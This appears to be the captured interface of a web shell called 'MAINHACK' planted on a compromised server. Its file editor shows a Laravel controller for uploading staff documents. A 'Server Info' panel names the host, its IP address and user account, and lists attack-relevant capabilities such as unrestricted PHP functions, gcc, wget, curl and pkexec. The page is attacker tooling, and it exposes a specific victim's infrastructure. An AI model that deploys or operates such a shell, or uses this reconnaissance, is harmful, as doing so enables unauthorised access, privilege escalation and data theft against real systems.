[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: StaffDocumentController.php
<?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\EmployeeDocument; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class StaffDocumentController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware(function ($request, $next) { if (package()->payroll_module != 1) { if (!$request->ajax()) { return back()->with('error', _lang('Sorry, This module is not available in your current package !')); } else { return response()->json(['result' => 'error', 'message' => _lang('Sorry, This module is not available in your current package !')]); } } return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index($id) { $assets = ['datatable']; $staffDocuments = EmployeeDocument::where('employee_id', $id)->orderBy('id', 'desc')->get(); return view('backend.user.staff_documents.list', compact('staffDocuments', 'id', 'assets')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create($id, Request $request) { if (!$request->ajax()) { return back(); } else { return view('backend.user.staff_documents.modal.create', compact('id')); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $validator = Validator::make($request->all(), [ 'employee_id' => 'required', 'name' => 'required', 'document' => 'required|mimes:png,jpg,jpeg,pdf|max:10000', ]); if ($validator->fails()) { if ($request->ajax()) { return response()->json(['result' => 'error', 'message' => $validator->errors()->all()]); } else { return redirect()->route('staff_documents.create') ->withErrors($validator) ->withInput(); } } $document = ''; if ($request->hasfile('document')) { $file = $request->file('document'); $document = time() . uniqid() . '-' . $file->getClientOriginalName(); $file->move(public_path() . "/uploads/documents/", $document); } $staffDocument = new EmployeeDocument(); $staffDocument->employee_id = $request->input('employee_id'); $staffDocument->name = $request->input('name'); $staffDocument->document = $document; $staffDocument->save(); //Prefix Output $staffDocument->document = '<a target="_blank" href="' . asset('public/uploads/documents/' . $staffDocument->document) . '">' . $staffDocument->document . '</a>'; if (!$request->ajax()) { return redirect()->route('staff_documents.create')->with('success', _lang('Saved Successfully')); } else { return response()->json(['result' => 'success', 'action' => 'store', 'message' => _lang('Saved Successfully'), 'data' => $staffDocument, 'table' => '#staff_documents_table']); } } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit(Request $request, $id) { $staffDocument = EmployeeDocument::find($id); if (!$request->ajax()) { return back(); } else { return view('backend.user.staff_documents.modal.edit', compact('staffDocument', 'id')); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $validator = Validator::make($request->all(), [ 'employee_id' => 'required', 'name' => 'required', 'document' => 'nullable|mimes:png,jpg,jpeg,pdf|max:10000', ]); if ($validator->fails()) { if ($request->ajax()) { return response()->json(['result' => 'error', 'message' => $validator->errors()->all()]); } else { return redirect()->route('staff_documents.edit', $id) ->withErrors($validator) ->withInput(); } } if ($request->hasfile('document')) { $file = $request->file('document'); $document = time() . uniqid() . '-' . $file->getClientOriginalName(); $file->move(public_path() . "/uploads/documents/", $document); } $staffDocument = EmployeeDocument::find($id); $staffDocument->employee_id = $request->input('employee_id'); $staffDocument->name = $request->input('name'); if ($request->hasfile('document')) { $staffDocument->document = $document; } $staffDocument->save(); //Prefix Output $staffDocument->document = '<a target="_blank" href="' . asset('public/uploads/documents/' . $staffDocument->document) . '">' . $staffDocument->document . '</a>'; if (!$request->ajax()) { return back()->with('success', _lang('Updated Successfully')); } else { return response()->json(['result' => 'success', 'action' => 'update', 'message' => _lang('Updated Successfully'), 'data' => $staffDocument, 'table' => '#staff_documents_table']); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $document = EmployeeDocument::find($id); unlink(public_path('uploads/documents/' . $document->document)); $document->delete(); return back()->with('success', _lang('Deleted Successfully')); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002